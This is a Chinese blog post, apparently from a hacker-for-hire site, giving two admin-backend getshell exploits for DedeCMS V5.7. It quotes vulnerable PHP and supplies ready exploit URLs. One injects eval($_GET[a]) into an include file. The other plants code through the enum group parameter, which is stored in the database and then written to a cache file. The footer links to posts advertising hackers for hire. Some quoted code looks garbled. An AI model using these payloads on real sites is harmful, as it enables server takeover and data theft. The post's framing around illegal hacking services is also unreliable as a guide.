Dedecms V5.7后台的两处getshell

访客4年前关于黑客接单569

  在这个帖子里我把两个洞一起写出来。

  之一个是常见的思路,把语句写入inc文件,然后在其他的include语句中,包含了恶意代码进而getshell。

  漏洞代码在:/dede/sys_verifies.php 代码如下:

  else if ($action=='getfiles') { if(!isset($refiles)) { ShowMsg("你没进行任何操作!","sys_verifies.php"); exit(); } $cacheFiles=DEDEDATA.'/modifytmp.inc'; $fp=fopen($cacheFiles, 'w'); fwrite($fp, ''); fclose($fp); $dirinfos=''; if($i > -1) { $dirinfos='

'; $dirinfos .="本次升级需要在下面文件夹写入更新文件,请注意文件夹是否有写入权限:
\r

  "; foreach($dirs as $curdir) { $dirinfos .=$curdir['name']." 状态:".($curdir['writeable'] "[√正常]" : "[×不可写]")."
\r

  "; } $dirinfos .="

\r

  "; } $doneStr="\r

  "; include(DEDEADMIN.'/templets/sys_verifies_getfiles.htm'); exit(); }

  从这段代码里,可以得知会在/data目录下生成一个inc文件,并且这个inc文件的内容是我们可以控制的,因此只需要再找一个include了这个inc文件的地方,便可以完成攻击。

  全局搜索了下这个文件,发现就在同一个php文件的下面,因此利用条件就全部齐了,可以开始构造写入的语句了。

  观察逻辑,代码会先从url中获取一个refiles参数,并且refiles作为数组参数,被写入inc文件。而紧接的foreach语句其实重点就只是一个replace,只要绕过去就好了。最后的payload大概如下:

  http://localhost/dedecms/uploads/dede/sys_verifies.phpaction=getfiles&refiles[0]=123&refiles[1]=\%22;eval($_GET[a]);die();//

  此时写入shell成功,触发shell:

  http://localhost/dedecms/uploads/dede/sys_verifies.phpaction=down&a=phpinfo();

  第二个的思路比之一个稍微绕一点,但也只是绕的有限。

  漏洞代码在/dede/sys_cache_up.php处 36行处:

  else if($step==2) { include_once(DEDEINC."/enums.func.php"); WriteEnumsCache(); //WriteAreaCache(); 已过期 ShowMsg("成功更新枚举缓存,准备更新调用缓存...", "sys_cache_up.phpdopost=ok&step=3&uparc=$uparc"); exit(); } 跟进WrtieEnumsCache(): function WriteEnumsCache($egroup='') { global $dsql; $egroups=array(); if($egroup=='') { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` GROUP BY egroup "); } else { $dsql->SetQuery("SELECT egroup FROM `#@__sys_enum` WHERE egroup='$egroup' GROUP BY egroup "); } $dsql->Execute('enum'); while($nrow=$dsql->GetArray('enum')) { $egroups[]=$nrow['egroup']; } foreach($egroups as $egroup) { $cachefile=DEDEDATA.'/enums/'.$egroup.'.php'; $fp=fopen($cachefile,'w'); fwrite($fp,''); fclose($fp); if(empty($issign)) WriteEnumsJs($egroup); } return '成功更新所有枚举缓存!'; }

  可以看到有文件读写操作,但是文件内容是从数据库取值的,因此需要先往数据库里写入内容,同时,因为没有任何过滤,因此操作难度降低了许多。找到的写数据库的位置在:

  dede/stepselect_main.php:

  else if($action=='addenum_save') { if(empty($ename) || empty($egroup)) { Showmsg("类别名称或组名称不能为空!","-1"); exit(); } if($issign==1 || $topvalue==0) $enames=explode(',', $ename); foreach($enames as $ename){ $arr=$dsql->GetOne("SELECT * FROM `#@__sys_enum` WHERE egroup='$egroup' AND (evalue MOD 500)=0 ORDER BY disorder DESC "); if(!is_array($arr)) $disorder=$evalue=($issign==1 1 : 500); else $disorder=$evalue=$arr['disorder'] + ($issign==1 1 : 500); $dsql->ExecuteNoneQuery("INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "); } echo "INSERT INTO `#@__sys_enum`(`ename`,`evalue`,`egroup`,`disorder`,`issign`) VALUES('$ename','$evalue','$egroup','$disorder','$issign'); "; die(); WriteEnumsCache($egroup); ShowMsg("成功添加枚举分类!".$dsql->GetError(), $ENV_GOBACK_URL); exit(); }

  因此传入如下url:

  http://localhost/dedecms/uploads/dede/stepselect_main.phpaction=addenum_save&ename=2334&egroup=;phpinfo();$&issign=1

  然后被写入了数据库,此时直接查询,便可以写入文件,写文件url如下:

  http://localhost/dedecms/uploads/dede/sys_cache_up.phpstep=2&egroup=a=1;phpinfo();&dopost=ok

相关文章

什么是碱性食品(碱性食物有哪些)

什么是碱性食品(碱性食物有哪些)

碱性食物有哪些 什么是碱性食物 碱性食物大全 什么是碱性食物: 很多人都分不清碱性酸性食物,有些人还认为吃在嘴巴里的味道是酸的就是酸性食物,但其实不是这样的,食物的酸碱性并不是十五的味道,而是...

hpv是怎么感染上的(究竟是怎么感染HPV的)

hpv是怎么感染上的(究竟是怎么感染HPV的)一项基于美国人群的研究显示,有性行为的男性和女性,一生中感染HPV的几率高达85%-90%。2018年起,国际乳头瘤病毒学会将每年的3月4日定为“国际HP...

海盗家寿司月收入是多少?经营火爆盈利超高

海盗家寿司月收入是多少?经营火爆盈利超高

寿司对付人们来说长短常熟悉的一个餐饮了,尤其是对付美食喜好者来说,是一种永远不能忘怀的一种美食产物。寿司产物自从日本传到海内之后,颠末长时间的成长变革,此刻已经成为了很是受接待的美食产物。很多的人都有...

找黑客合作推广违法(怎么找黑客)

最好不要这样,这是很正常的,你想一想饭不是一个人能吃得完的,你找人是违法的行为,如果做任何生意不让同行在一起那是不可能的,如果都像你这种想。 (只有信誉非常好的网站才有资格与IT业龙头公司合作的)黑客...

黑客有免费接单的吗在哪里可以找黑客接单

关于新云 新云网络成立于2002年,是一家提供现代网络服务、软件开发的网络公司,主要从事网络应用软件开发、电子商务系统开发,程序订制、网站开发、网站策划、域名注册、空间租用等多项业务,为企业打造卓越的...

黑客老鹰入侵白宫图片(侵入美国白宫黑客)

黑客老鹰入侵白宫图片(侵入美国白宫黑客)

本文导读目录: 1、最牛的黑客 2、曾重创美国网络,在白宫官网挂中国国旗,这个人是谁? 3、2001中美黑客大战谁赢了??? 4、“一夜走红”的中国黑客,把中国国旗插在白宫网站上,后来怎样...